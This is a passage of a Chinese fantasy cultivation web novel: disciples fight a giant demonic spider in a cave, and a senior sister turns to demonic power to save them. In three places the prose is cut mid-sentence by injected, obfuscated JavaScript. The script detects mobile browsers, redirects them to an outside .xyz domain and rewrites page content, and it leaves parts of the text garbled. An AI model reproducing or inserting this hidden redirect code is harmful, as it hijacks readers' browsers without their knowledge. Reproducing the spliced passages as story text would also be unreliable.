“墨陵师兄……”汤穗穗上前轻扯了墨陵的衣袖,后者顺着她的视线也望见了这块不同寻常的石头。 他心中有几分猜测,开口问道:“把它劈开?” 得到汤穗穗点头的回应后,周围人让开了墨陵的位置。 他紧握着手中闪着寒光的长剑,半眯着眼,将灵气附在剑刃上,用力往石头的方向劈去。 他的剑气就如同他本人,犀利无比。 可饶是这样,面前这块诡异的石头却巍然不动、毫无变化。 这下不仅是墨陵,周围人都意识到了这并非寻常:“这是?” 墨陵的实力有目共睹,别说是寻常的石头,就连锋利无比的兵器也能劈断。 “应该就是阵眼。”如果说方才只是猜测,现在汤穗穗可以更加笃定,面前这块石头就是被称作“基石”的阵眼。 即便同门阵法不精,但依旧知道阵眼的重要性,纷纷喜上眉梢,连声赞叹汤穗穗博学多才。汤穗穗在她们的夸耀下绷紧了嘴角,但还是没忍住脸热。 专心的墨陵对周遭的一切恍若未闻,他闭上眼调整自己的呼吸,沉下心来,再睁开眼时,用力朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840053|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前的石头挥剑——他带上了自己百分百的功力。 这一次,石块被剑气劈得七零八落、应声而碎。 随着阵眼被破坏,阵法再也维持不了原状,也瞬间变成了另一幅模样。 劈碎了巨石的墨陵持剑站在所有人的面前,也在打量着周围的景象。 她们以为自己一直在干燥的林中,实际上她们随着阵法,走进了昏暗的山洞。洞中幽深,看不清前方的道路,还依稀有风从最深处卷来——想来那便是她们追踪了一路的那阵风;脚边有许多小水洼,她们的裤腿也粘上了些许泥泞,还能听到水从洞壁滴落的声音;当她们往来时的方向看去时,那里漆黑一片,同样无法分辨离洞口有多远。 如今的她们正困在洞中,望不到前路,也看不清来路。 没有了阵法的遮蔽,周围的魔气越发浓郁,几乎从周围每个角落渗透出来,压得几人不适地眉头紧皱。 她们虽然不畏惧这样的场面,但依旧惴惴不安。 还没等她们回神,周围忽然传来一道道踩踏着水洼的声音。 她们来不及游神,连忙握紧了武器进入战斗状态。果然就在下一刻,五六头瘴兽从周围的洞口钻出,向她们奔来。 好在这一路上,几人也联手斩杀了不少瘴兽,如今更是信手拈来。将瘴兽清除之后,她们继续方才的方向往前行进,脚步也因为周围的变化而更小心翼翼。 整个山洞越往里走越黑,墨陵脸色未变,从怀中掏出火折子照清前路。有了他手中的这点微弱的火光,身后的对友们不自觉地咽下口水,压抑住心中的恐惧,只顾跟着对方的脚步。 清除了瘴兽之后的周围实在太安静了。 众人只听得到面前自己克制的呼吸声、缓慢移动的脚步声、火焰燃烧时发出的轻微细响、稍远处节奏性滴落的水声…… 胆子偏小的唐澄澄也维持着镇定的脸色,只有她无意识加重捏着好友的手,透露出她此刻的紧张不安。她克制住自己发出不合时宜的声音,努力克服着自己的不适感。 ……她不要成为影响大家的人。 这条路比她们想象中更为艰险,除了不时出现的魔物,还有不时出现的需要抉择方向的洞口。 幸好作为整支队伍领头人的墨陵泰然自若,平静地做出一个又一个选择,安抚了诸位稍加不安的心。望着对方冷静的姿态,似乎笃定自己能找到出口。 周围的气息越来越沉重,她们不知道绕过多少洞穴之后,终于在一个宽阔得像院落大小的洞中,得以窥见魔物的真身——那是一头几乎如蓄水缸一般的蜘蛛,趴在山洞的巨大蛛网中,双眼赤红。 和面前的巨蛛相比,她们的手臂还不如一根蛛丝粗壮。当巨蛛看到一行“不速之客”时,毫不犹豫地喷出白色的蛛丝,朝几人袭来。 好在墨陵比魔物反应更胜一筹,连忙带着众人从来时的洞中后退。可没走出几个洞穴,她们发现洞口均被白色的蛛丝缠绕。 就在此时,汤穗穗感觉自己的衣服被身旁人紧紧地捏攥着,她下意识低头看去,对上对方满是恐慌的双眼。 “……穗穗……”唐澄澄努力地克制着自己,避免自己的声音惊吓到魔物,可她的身形仍在不自觉地发颤。 汤穗穗连忙拢过她的肩膀,轻声安抚着。 众人顺着澄澄的目光望去,她们的脚边,还堆积着不少骨头的残骸——还有许多是人头骨的形状。不知道在她们到来之前,又有多少生灵被巨蛛困在这这里无法逃离。 她们这才意识到,巨蛛恐怕早已感受到一行人的踪迹,故意引她们深入到方才的洞穴,再将她们化作养料,继续滋养体内的魔种。 “啧。”见到此情此景,一惯神色冷静的墨陵都不耐烦地轻啧。 周围浓郁的魔气仍在影响着她们的思绪,她们深知决不能在这里呆太久。 她们对视一眼,默契地握紧武器,从彼此的眼中看到同样的决定。 眼下,也就只剩下一条路—— 与面前的巨蛛搏斗,兴许还会有逃离的办法。 85.死局? “小心。”眼看唐澄澄脚下一软,猛地往前面的师姐扑过去,师姐低声提醒,连忙伸手扶住了她。 紧张的唐澄澄紧紧地攥着师姐的掌心,此刻心中仍“砰砰”跳个不停,无意识地张着嘴喘气,回头看向她点头打气的穗穗。在穗穗身后的地方,墨陵师兄和两位师姐正奋力引开巨蛛的注意力。 也正是因为这几位的动作,才为她们的转移争取了时间。 下一个就是汤穗穗。 她握紧手中的链剑,蹑手蹑脚地猜上方才澄澄的脚步,往她们的方向小心翼翼地挪步——平日里的她从来没有这么小心谨慎过。 再这样的生死关头,她紧张地咽下口水,努力克服自己对巨蛛的恐惧,将全副心神放在自己的动作上。 一切比她想象中要顺利许多。 近了。 离澄澄越来越近了! 意识到这一点的汤穗穗按耐不住跃动的心跳,连紧张到发白的脸上也不自觉的挂上笑容。 然而也就在这个时候,她没由来地感觉到一阵心慌,又好像是有一阵罡风从身后袭来——她鬼使神差地抓着链剑转过了身,下一刻自己的剑好像将什么挡了回去,刺耳的声响让汤穗穗无意识地簇了眉。 “噔——” 与这道声音重合的是墨陵急促的提醒:“小心!” 他猛地甩出长剑向巨蛛刺去,从另一个方向迅速赶来,挡在汤穗穗的面前。汤穗穗望着前者的背影,大脑还在发懵,还不太能意识到发生了什么。 ……好像是方才她举起链剑的那一刻,正好挡住了巨蛛的攻势。 墨陵挡在汤穗穗的身前,还想将巨蛛往另一个方向引去,想让汤穗穗再次顺利离开。但现在的巨蛛已经长了教训,根本不理会墨陵的引诱,反而全神贯注地盯着汤穗穗的身影,蛛丝直直地向她打来。 而她们所站的位置又离已经撤离的人很近,墨陵担心,非但不能将汤穗穗顺利送走,还会将已经离开的人重新卷入惊险的战斗中。 片刻后,他做出了另一个决定。 他背对着那些已经逃离的人,厉声喊道:“你们快走,赶紧回宗门求援。” 他的声量并不高,但作为打头阵的师姐马上领悟对方的意思,马上应承:“我知道了。” 她没有一丝丝留恋,转身带着已经撤离的两人先行离开。她知道她现在的任务应当是争取尽快离开这个幽深的山洞,向外求援。 跟在师姐身后的唐澄澄不舍地回头看了一眼好友,此时的好友还有些惊魂未定。可是现在不是关心这些的时候,她连忙转身跟上面前师姐的身影。 她们是剩余所有人的希望,越是这个时候越要抓紧时间。 “还好吗?”墨陵仍挡在汤穗穗的面前,防守着面前巨蛛的一举一动;引诱巨蛛的同门仍在巨蛛身侧,试图将它的视线拉过去,避免汤穗穗再出现什么危险。 听到墨陵的问话,汤穗穗才眨了眨眼回过了神,后知后觉的恐慌笼罩了她的全身,几乎不能握紧自己手中而的链剑,腿也无意识地发软。 她张了张嘴,声音如蚊虫般微弱,还止不住地打着颤:“墨陵师兄……” 这时候的她才意识到,方才的自己结结实实地从鬼门关上走了一趟。 就在刚刚,由墨陵和其她三人将巨蛛引开,剩余几人打算趁机从巨蛛身后逃离。但没想到,巨蛛还是发现了她们的动作,而汤穗穗就是这个险些被蛛丝伤到的倒霉蛋。 还好她反应还算快,又或者是上天的庇佑,这才在蛛丝袭来时,及时挥出手中的链剑,保住了自己的小命。 “小心。”墨陵听出了她漂浮的语气,沉着声音安慰对方,“莫要慌乱。” 汤穗穗连忙点点头,又意识到对方看不到自己的动作,补充着应答了句“好”。 随着意识的回笼,她忽然感觉自己的脸上有一阵刺痛,下意识伸手一摸,疼得她皱了眉。放到眼前一看,此刻指尖沾染了新鲜的血渍——她的脸颊不知道什么时候被划伤了。 也许就是刚才挡住蛛丝的那一下。蛛丝被链剑上的灵气所站但是,好像确实有细碎的部分往她脸上飞来。 她咽下口水,抬眼望向中间的巨蛛。它不仅身形庞大,连蛛丝都有惊人的杀伤力。 好在被留下来的是自己,而不是唐澄澄。她自认为自己的能力在澄澄之上,倘若方才蛛丝刺来时恰是澄澄在场…… 汤穗穗不愿细想下去。 她闭上眼下意识运转周天,以此平复自己的情绪,再睁眼时用力将胸口的闷气吐出,望向与巨蛛缠斗着的几位师长。 除了墨陵师兄一直守在自己身前,不时甩出剑气辅助战局之外;与巨蛛正面交战的几位师姐脸上、外衣都被沾染了许多污渍,也被巨蛛身上的黏液溅到,留下暗色的痕迹。 这短时间里,所有人都没有催促汤穗穗,就像是知道自己的情况,刻意留出时间让自己调整得到那样。 她知晓几位师长的好意,但她知道自己不能一直成为被人保护的对象,反而拖累几人的行动。 既然她留在了这里,就一定还有她能够帮上忙的地方。 还没等她开口,她就听到身前墨陵师兄平静的声音:“好些了吧。” 似乎怕自己多心,墨陵师兄还补充道:“我感觉到你的气息比方才平缓了许多。” “多谢墨陵师兄。”收拾好自己的心情,汤穗穗聚气凝神,重进紧握手中的链剑,死死地盯着面前不断发出哀嚎声的巨蛛,“有什么我能做的吗?” “别死了。”墨陵抽空偏头看了一眼她的状态,确认过后,平静地开口。 虽然对方的话语很不客气,但更像是一句冷幽默的话语,使得汤穗穗不合时宜地笑了出来。 不过她也知道,这也正是她现在最能做到、最应该做到的一点。因此她也认真地点头,郑重开口:“好。” 然而墨陵没有等她的回答,就已经转身加入到与巨蛛的鏖战中。有了墨陵对的加入,原本战局中的几人得以喘一口气,调整自己的状态。 可惜这场战局比她们想象中的更为难缠。 这头巨蛛不知在此地盘桓了多少年,面对它天然的体型优势,她们还需要克服心中的恐惧;更为棘手的,还是它几乎达到元婴修为,即便身形庞大难以移动,但灵活、异常锋利的蛛丝依旧将战局中几人困得十分被动。 一旁的汤穗穗则躲在有遮挡的地方,躲避不时袭来的蛛丝,避免一不留神就丧命在蛛丝之下。 又不知道鏖战过多少回合,四人都明显感觉自己有些力不从心。即使有心克制,但依旧无法掩盖她们此时的疲态。 与她们相比,面前的巨蛛也变得狂暴,喷出蛛丝时明显更无章法,赤红的双目誓要将五人留在此处,成为它的盆中餐。 并且因为放走了几人,面前的巨蛛警惕性也有所加强。她们想重复方才的“调虎离山”计策几次,依旧被其识破,将她们的后路拦截。她们都知道,倘若接着打下去,她们永远不会是巨蛛的对手,只有被慢慢耗死的份。 几人对视一眼,默契与巨蛛拉开距离,靠近在汤穗穗身边,并将她围在最中间。 “现在怎么办?”捂着胸口的卫安师兄声音有些虚弱,手臂被刚硬的蛛丝划破了口子,勉强用衣摆的布料处理,“我可能……” “师兄。”更为爽朗的章律师姐用手擦掉嘴边的血迹,伸手拍了拍对方未受伤的另一只手,脸上的笑容有几分肆意,紧紧地盯着面前的巨蛛,“这样的死亡,未免有些太草率了,我还等着回宗门和你再比一场呢。” “别担心,会有办法的。”另一位更为沉稳的邱礼宁师姐拍了拍他的另一边肩膀,出声宽慰道。 其实在今日之前,她们在宗门也就脸熟的关系,没想到现在竟然成为了同生共死的战友。卫安知道几人的好意,脸上的凝重也冲散了些许。 “你的决心很值得嘉奖,但没到这个地步。”墨陵冷声打断几人的对话,“倘若我们真的到了这种地步,那也得先把汤穗穗送出去。” 被墨陵提醒,几人才又将视线放在躲在众人中,面容青涩、但眼神坚定而定汤穗穗。而后者头一回与这么多人对视,不自觉地咽下口水。 她不知所措的动作逗笑了章律,对方伸手轻揉她已经散乱的头发:“别担心,死之前我一定先会送你出去的。” “章律师姐,你要活下来。”汤穗穗听出对方话语中的决心,攥着衣摆的手不自觉地加重,视线逐一扫向其她师长,“你们也是……” 几人听到这句话对视一眼,没有应承,眼神却像是做下了什么决定。 在方才的对决中,几人也在山洞里发现一处藏身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像是应和着她的祈祷,一道柔和的灵气从胸前弥散出来,将她与面前的人包裹在其中,隔绝了黏液的腐蚀。 被熟悉的灵气笼罩着时,她的意识稍微回了神,意识到这是独属于师姐的灵气。这股灵气也让邱礼宁松了一口气,手上放松了些许对汤穗穗的桎梏。 “邱师姐,你没事吧!”汤穗穗因此挣脱了对方的怀抱,一边喊着一边睁眼望向面前的人——可是面前人被方才的黏液伤害,在裸露的脸上、手上都留下了坑坑洼洼的印记。 偏偏这个时候,邱师姐还闭着眼想抬手挡住她的视线,气若游丝却还笑着:“别看了,有点丑。” “邱师姐……”汤穗穗连忙将自己的灵气传到面前的师姐身上,不知道这样有没有效果。她抱着邱师姐,抬头打量着四周,青绿色的灵气在白色的茧中也形成了一圈防护。 她还将一直贴身挂在胸前的玉牌拿出来,失去了灵力的玉牌变得十分黯淡,平静地躺在她的掌心。 这是师姐交给她的玉牌。 她还记得,当时的自己将玉牌当做师姐给自己的第一份礼物。 也因此,这块玉牌被她一直挂在胸前。没想到竟然在这样的时候,拯救了她们的性命。 “师姐……”里面空间十分狭隘,她跪在茧中,双手捧着玉牌,肩上支撑着邱师姐温热的身躯,对方浅浅地呼吸喷在自己的颈侧。 她睁着眼睛望着那道保护她们的青绿色灵气,却无端自己的灵魂被抽离,她控制不住自己——身躯在止不住颤抖,眼泪如断线的珠子不断滑落。 恍惚间感觉自己似乎回到了九年前,回到了土地庙的那个晚上。当年迟来的恐惧与害怕也在此刻侵袭着她的脑海,勉强靠掌心已经冰冷的玉牌给予她保持冷静。 在此刻,她却想起了母亲的约定,想起了那“三百个数”带给自己的希望。 她用力擦掉脸上的泪痕,重新闭上了眼,从数字“一”开始无声默念。 心中的数字在不断跳动,却也让她的心逐渐变得平静,不再慌张。 她不知道自己能够等来什么。 或许只是灵力屏障破碎后,迎来被延缓的死亡结局。 ——又或者,她们都会活下来。 她相信她们能活下来。 86.入魔 关于玉牌的细节,汤穗穗有一点忘记了。 在玉牌被损坏的时候,先感应到的是玉牌中灵力的主人——姬忘尘。 远在在宗门药堂中分拣药草的姬忘尘原本就有些心神不宁。当她感应到玉牌碎裂的那一刻,猛地抬起头脸上的神色也变得严肃。 和她面对面、也在药堂帮工的成洱被她的眼神吓到,皱着眉发问:“发生什么事了?是穗穗……” “她们出事了。”姬忘尘不由分说地打断她,此刻更是抽不出心神回应,只顾着向外跑去,最好赶紧赶到汤穗穗的身边。 虽然与玉牌中的灵力能够庇护一个时辰,但万一呢? 万一她们这次遇到的魔物境界远超自己,以至于留下的灵力屏障根本不能支撑片刻…… 此刻姬忘尘的脑海里充斥着各种糟糕的想法。她用力地咬紧下唇,靠轻微的疼痛劝说自己保持理智。 而望着对方离开身影的成洱也马上转身也向另一个方向跑去,她要先一步替她们找人援助。 相识这么久,成洱还是第一次见到姬忘尘露出这样的状态。虽然不知道姬忘尘从何得知她们的现状,但基于对对方的了解,她丝毫不怀疑对方话语的真实性。 正因如此,她更要将这件事谨慎对待。 姬忘尘跑到宗门里空旷的平台上,面不改色地用环刃划破指尖,闭上眼轻声念起法诀。血珠从指尖上升起半分,在灵力的催动下,直直地指向远处的某个方向。 她重新睁开眼,望着血色指引的方向,双手用力地捏紧成拳。她不假思索地再一次试用“缩地成寸”的法诀,即使知道此举对灵力的消耗太大,甚至会再一次诱生体内的魔种…… 但是她等不了了。 起初一切都很顺利,但随着越来越接近时,血珠被周围浓郁的魔气扰乱,找不到确切的方向。眼看血珠在半空停滞了许久,姬忘尘不再浪费时间,当机立断跳了下来。 趁此机会,她一边随手从乾坤袋中掏出补灵丹囫囵吞咽下去,一边抬头打量周围的景象。周围时一片荒芜至极的山谷,见此状便能判断出,此处一定藏匿了境界极高的魔种。 意识到穗穗她们面临的状况,姬忘尘心中的担忧又再次浮起。她匆忙按下心中的烦躁,握紧手中的环刃,闭上眼感应魔气的存在,可依旧无法锁定方向。 就在这样山穷水尽的关头,她却没想到碰上意料之外的人。 “忘尘师姐!”唐澄澄与另外一位结丹期的同门林止谣相互搀扶着,看到姬忘尘身影的那刻,眼睛一亮、兴奋地喊了出来,转身向身后断后的柳钊师姐用力地挥着手,“柳师姐!” 看到忘尘师姐就那样出现在她们面前时,她恍然以为自己看到了天神降世一般。 姬忘尘加快脚步走进了几人,不着痕迹地打量着几人的状况。 好在面前的三人虽然发丝散乱,外衣也沾染了许多泥泞,看起来十分狼狈;但从精神上看,几人的状态还算不错。 直到在她们与队伍分别时,还不到十分危急的关头。 ——也就意味着,至少在对方分别前,穗穗还没有出事。 “……她们呢?”姬忘尘努力平息着自己呼吸,稳住自己的情绪。 深知洞中状况危急的唐澄澄也不耽搁,三言两语将险况向对方阐明,并指明道路。 “我知道了。”姬忘尘没有留下过多寒暄,转身就往对方所指向的方向跑过去,正巧和柳钊擦肩。 两人错身而过时,柳钊却没由来的觉得对方的气息有些奇怪。她下意识转身往对方离开的方向看去,此时已经看不清对方的身影。片刻后,她连忙摇摇头否定了自己的想法。 “宗门的人来得这么快吗?”比起这个,她心中还有些许纳闷,她们前脚才将传讯信号送出,这么快就遇上援助的人了? 两人心中都有自己的事情,并没有听到她的碎碎念。 “澄澄……”林止谣想了很久,还是抓着唐澄澄的衣摆犹豫着开口,“师姐的眼眸一直是这个颜色吗?” “什么……” “方才……”林止谣低着头,声如蚊虫般微弱,“师姐的眼睛是红色的。——不过也可能是我看错了……” 忘尘师姐的眼睛当然不是红色的。 唐澄澄下意识想要开口反驳,但很快想起了当时汤穗穗欲言又止的面庞。她嘴唇翕动,想要为忘尘师姐辩解,却什么都说不出来。 她感觉自己的心脏比方才跳动得更加剧烈,几乎要跳出自己的胸膛。 寻常的生灵眼瞳变红,通常只有一种原因。这也就意味着,此刻的忘尘师姐…… 已经在入魔的边缘。 顺着方才澄澄指引的方向,姬忘尘很顺利就找到了巨大的山洞,墙壁上还有一些刻意留下的标记。顺着标记往里走,姬忘尘也终于窥见洞中巨蛛的身影。 洞中的状况比她想象中惊险得多。 面对巨蛛的只剩下墨陵一人还在勉力支撑,而洞中还有两个巨大的白茧。不知道是不是因为体内魔种的原因,她察觉到自己的情绪变得十分暴躁。 但现在的她完全估计不上这些情绪,直接将手中的环刃拆成弯刀,直直地向巨蛛扔了过去。 原本处于劣势的墨陵在两柄弯刀的加入下,成功借此抽身。还没等他回神,就看到一个身影从自己身边飞了过去,握着转向的弯刀直直地向巨蛛砍去。 她来势汹汹、手中招式狠厉迅猛,逼得巨蛛猛地移动庞大的身躯,以牺牲三只蛛腿的代价保住了自己的性命。 她的动作激怒了巨蛛,巨蛛不顾一切地向她喷洒蛛丝。然而姬忘尘早有预料,灵活地躲避蛛丝的攻击,并在其间穿梭,又一次靠近巨蛛。 有了姬忘尘的帮助,墨陵终于得以喘口气。他将长剑撑在地面上,勉强支撑自己的身体,趁此机会调整自己的状态。 “她们被困在了茧里!”墨陵紧张地开口,失去了往日的镇定,“得先把魔物杀死,不然破坏不了白茧!” 他也曾试过先将白茧破开,但以失去一条右臂为代价,让他认清了现实。 “知道了。”姬忘尘却出奇地冷静,她的全部心神聚集在面前的巨蛛。 然而几个回合下来,当她重创了巨蛛之后,她也觉得自己身上的灵气不似从前那般得以迅速恢复。她拉开距离,落到墨陵的身边,将刀插在地上,又从乾坤袋里掏出丹药,往自己嘴里倒进去——还将另一瓶扔给身边的墨陵。 “多谢。” “不客气。”姬忘尘忧心茧中众人的状况,更想迅速地将面前的巨蛛处理,“我们时间不多了。” 短暂休憩后的两人再次向巨蛛扑了过去。 虽然有了姬忘尘的帮助,但现在的墨陵已经是强弩之末,动作也有所迟滞,眼看着就要被蛛丝穿透身躯时,姬忘尘猛地将他拉到了自己的身后。 不仅是他,现在的姬忘尘情况也不容乐观。不管她怎么尝试,体内都汇聚不起一丝灵气——如今的她就是空洞的容器。 “抱歉……” “之后,照顾好穗穗。” 两人异口同声,却是两种截然相反的语气。 “你要做什么?你可别做傻事!”墨陵慌张地开口,他以为姬忘尘选择和面前的巨蛛同归于尽,伸手抓住对方的手腕,“宗门的援助很快就到,我们再支撑……” “等不了了。”姬忘尘平静地开口,还有心情勾起笑容调侃,“你的状况,你自己不清楚吗?” 她们现在力量过于悬殊,等两人彻底力竭之后,倘若等不到宗门的救援,那所有人都会死。 “可,还是有办法的对吗?”墨陵的声音有些颤抖,他不想再看到又有一人死在自己的面前,“不如就让我去……” “想什么呢?”姬忘尘嗤笑,望着面前也在伺机而动的巨蛛,“我可没说我要同归于尽。” “那是……” 然而墨陵却没有听到姬忘尘的回复。 面前的女人用力将手中的弯刀再一次投向魔蛛,她就在弯刀投掷出去的瞬间闭目,感受身体丹田里混杂的气息。 ——她还有一条路。 她要越境,不管借助什么样的气息,只需要能为她所用、助她越境。 她不能让他们死在这里,谁都不行。至少在她死亡之前,所有人都应该活下来。 他们都应该活下来。 这是,她的“价值”。 她这样想着,似乎感觉丹田传来异动,似乎感觉有道松动的封印彻底破碎,紧接着有什么汇入她的血肉之中。 就在那一刻,姬忘尘感觉自己的周身黏腻的气息填满、和原本纯粹的气息交织,在体内汇聚又分离。她不想分辨哪些是魔气、哪些又是灵气;她只摒除脑海中的一切杂念,闭上眼沉下心凝聚心神,运转所有能调用的气息,直接冲破周身的束缚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852711|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姬忘尘本来以为这一天的到来还需要些时候,但她并不后悔做出这个选择。直到现在,她其实还是会在乎别人如何看待自己,会不会因为自己入魔一事而指指点点。 可是啊…… 她轻叹了口气,嘴角牵起释怀的笑容——无论如何,她都不能没有办法眼睁睁地“明知可为而不为”。 入魔就入魔吧。 “……我需要你们活下来。” 魔气掀起的罡风将她轻声的呢喃送到了墨陵的耳中,他瞪大了眼睛望着面前的人被紫黑色的气息完全包裹,片刻后又散开。 明明还是那个人,但对方身上的气息已经完全变化。 他感觉自己的大脑空白一片,完全不能厘清现在的状况,只是茫然地看着面前人不顾一切向魔物奔去,用力地挥刀。 姬忘尘完全不知道墨陵心中所想。通过魔气越境的她被完全填满,比方才的自己更胜一筹,能够直接压制巨蛛的境界。 浓郁的魔气让巨蛛出于本能想逃离,却被利刃破开了坚硬的躯壳。 姬忘尘脸色未变,将没入对方躯壳的弯刀抽出,魔物的汁液溅到了她的脸上。她嫌弃地眨了眨眼,再一次将弯刀送入魔蛛体内。 与往常不同,她看到庞然的魔蛛倒下时,心中却升腾起一股难言的兴奋。她感觉自己的全部器官都被放大,让她忍不住享受这种弑杀的感觉;但同时,她又觉得自己的脑子好似被撕扯着,让她难以忽视。 她低头垂眸望向自己的掌心,一缕缕紫黑色的气息在她的指尖盘桓不散。此刻不需要照镜子她都知道,现在的眼瞳应该像寻常魔物一样与鲜血般赤红。 与往常的净化相反,现在的她面无表情地调用体内的气息,将魔蛛身上的魔种吞噬到了自己的体内。 直到此刻,她才将真的意识到自己走上了入魔的道路——正如白宸当年所说的那样。……她不想追究自己体内的魔种是天生,又或是人为。 现在她只知道一件事:她成了彻底的魔物。 或许也是这个世间,最强大的魔物。 被困在茧中的汤穗穗依旧在数数,她不太记得自己数到了“二百九十五”还是数到了“三百一十七”。 恍惚间,她好像感受到了师姐的灵气——但很快就否定这个想法。这样的错觉不止一次的出现过,给了她希望又让她失望。 不过好在,抵在她肩膀处的邱礼宁师姐还有微弱的呼吸,兴许对方还能支撑一段时间。 她下意识抬头看着变得稀薄的灵力屏障,她忍不住有些悲观:难道她真的等不到师姐来救她们了吗? 但这次和之前的每一次都不一样。 她感受到的师姐的灵气很久都没有散去。她竖起耳朵,略贴近了灵力屏障,依稀还听到外面还传来剧烈的打斗声。 不对,就是师姐! 意识到这一点的汤穗穗眼睛放亮,心脏砰砰直跳,脸上的喜悦盖都盖不住——她就知道师姐一定会来救她们的! 等待的时间好像很漫长,又好像只是片刻。她听着白茧外传来魔物连声痛苦的哀嚎,紧接着面前的蛛丝变得脆弱。她拿起链剑往外刺去,同之前相比,现在她能够轻而易举的将白茧划开。 从缝中,她依稀看到了熟悉的人影,正是师姐! 看到师姐的身影时,她险些喜极而泣,恨不得飞到对方面前,扑到对方的身上诉说这一路的艰辛与不易。 这让她更积极地挥剑,从用力挣脱开束缚着她们巨茧。 当她终于从茧中跳出来时,只看到师姐低垂着头,脚边躺着魔物庞大的身躯。师姐的手垂在身侧,上的弯刀黏上了魔物汁液,正一滴、一滴往下滴落。 就如同往常那样,她只是站在那里,便带给人十足的安全感。 “邱师姐,再坚持坚持!我师姐来了!”汤穗穗兴奋地喊出口,直起身子支撑着靠在自己肩头的邱礼宁,再次往姬忘尘看过去的时候,却和师姐对上了眼神,顷刻脸上的表情瞬间凝固、变得煞白。 不止是汤穗穗,一旁的墨陵终于捡回自己的理智,强撑起精神挡在汤穗穗的面前,戒备地看向面前的人。 如今的姬忘尘浑身上下被紫气笼罩,望过来的额眼瞳变成暗红,连眼中都布满了血丝,整个人显得阴翳非常。 “滴、滴、滴……” 水珠滴落的声音仍在空旷的洞中回响,却听得人无端脊背发凉、汗毛直立。 87.情与理 周围的人群声音嘈杂,姚成握着自己的横刀,茫然地站在一旁,看着被未在人群中央,浑身是血的男人。 师姐和白宸面对面站着,握紧了她的本命长剑,剑刃离对方不过几寸。白宸被压在地上,倔强地抬头笑着。他双目赤红,神情癫狂,鲜血从他的脸颊淌下。 姚成几乎都认不出来,面前的人是自己那个高傲寡言的师弟 “入魔者,”师姐的剑刃直指对方的咽喉,寒光凛凛;说出的话语竟比手中的剑更冷了几分,面无表情做下审判,“尽诛。” “师姐……”姚成连忙上前,站在她们身侧,绞尽脑汁开口,“这其中或许还会有转机——” “师姐,我们此行不就是为了救世吗?”听到姚成的声音,白宸甚至低笑了出来,直接把他的声音盖了过去,“倘若能以少救多,又为何不能做?” “你疯了……”姚成这才听明白,哪有什么误会,这分明就是白宸的想法走火入魔。 他震惊转过身,瞪大了眼睛望着面前癫狂的面容,说出的话语不自觉地颤抖着:“你怎么能——?!” “师姐,”白宸似乎没有听出姚成的责问,仍盯着已是多年宗主的师姐讨要一句说法,“倘若能够以最小的代价,得到最大的结果,这有什么不能做的呢?” “说完了吗?”师姐不仅没有陷入他的逻辑中,还再一次冷静地将立场阐明,“如果你的救世要罔顾人伦,恕我不敢苟同。” “为什么不呢?——包括我自己,倘若可以为什么不去做呢?”白宸说得越来越激动,双眼红得能渗出暗红的血液,几乎要挣脱出压制他的同门的桎梏,“师姐,是你告诉我的,‘吾等此行,为世献身’——只要能救世,为什么不去做呢?” “你忘了,这句话还有半句。”师姐的脸色依旧未变,眼中的神情却变得更严肃,“——‘吾等此行,为世献身,佑山下平安’。” “师姐——”白宸还想继续狡辩。 然而还没等他的话没有说完,冰冷的长剑下移,不留情面地贯穿了胸膛。暗色的鲜血顺着剑刃从伤口渗出,滑落在地面上,很快聚成一滩血渍。 “师姐……”白宸仍不服气,仰着头,鲜血从嘴角流出,”救世而已,能让更多人活着,还在乎什么样的方式吗?……” 听到白宸死不悔改的话语,宗主微不可查地叹了口气后闭上眼,直截了当地念起除魔的法诀,已经入魔的白宸不仅没有得到师姐的答案,还因为法诀的影响而发出痛苦的哀嚎,整个人被浓郁的灵、魔两气围绕着,将他原本俊秀的面容扭曲,貌若修罗。 姚成不忍看见他的现状,不忍地侧过了身体。他只听到师弟痛苦的声音在身后久久不散,心口像被无形地大手捏紧,疼痛让他无意识间攥紧了拳,指甲深深地戳进掌心的嫩肉。 可一时之间,他竟然分不清究竟是心口更痛,还是掌心更疼。 “呼……”巨大的疼痛感让姚成猛地张开了双眼,心口、掌心的钝痛还犹如烙进骨髓。他叹了口气,慢慢地撑起身子坐起来,缓和自己的情绪,伸手擦去了额头沁出的汗珠。 不知道这是这个月第几次梦到这件事了。 直到现在,他还是没能从当时的状态走出来。他还记得师弟后来还说了很多,只是师姐完全没有听,亲手摧毁了他体内的魔种。 至此,一代天之骄子竟只落得神魂消散的结局。 他用力地再次闭上眼,努力将这幅画面抛出自己的脑海。 没由来的,他想起白宸曾经说过的、关于姬忘尘身上的魔种。姬忘尘的天赋与白宸相比,有过之而无不及,倘若她也有入魔的那一天…… 姚成低头看向自己满是皱纹的手,咽下口水:不知道那时候的他,能不能做到师姐那般,当断即断? 可姚成不知道,这一天已经到来。 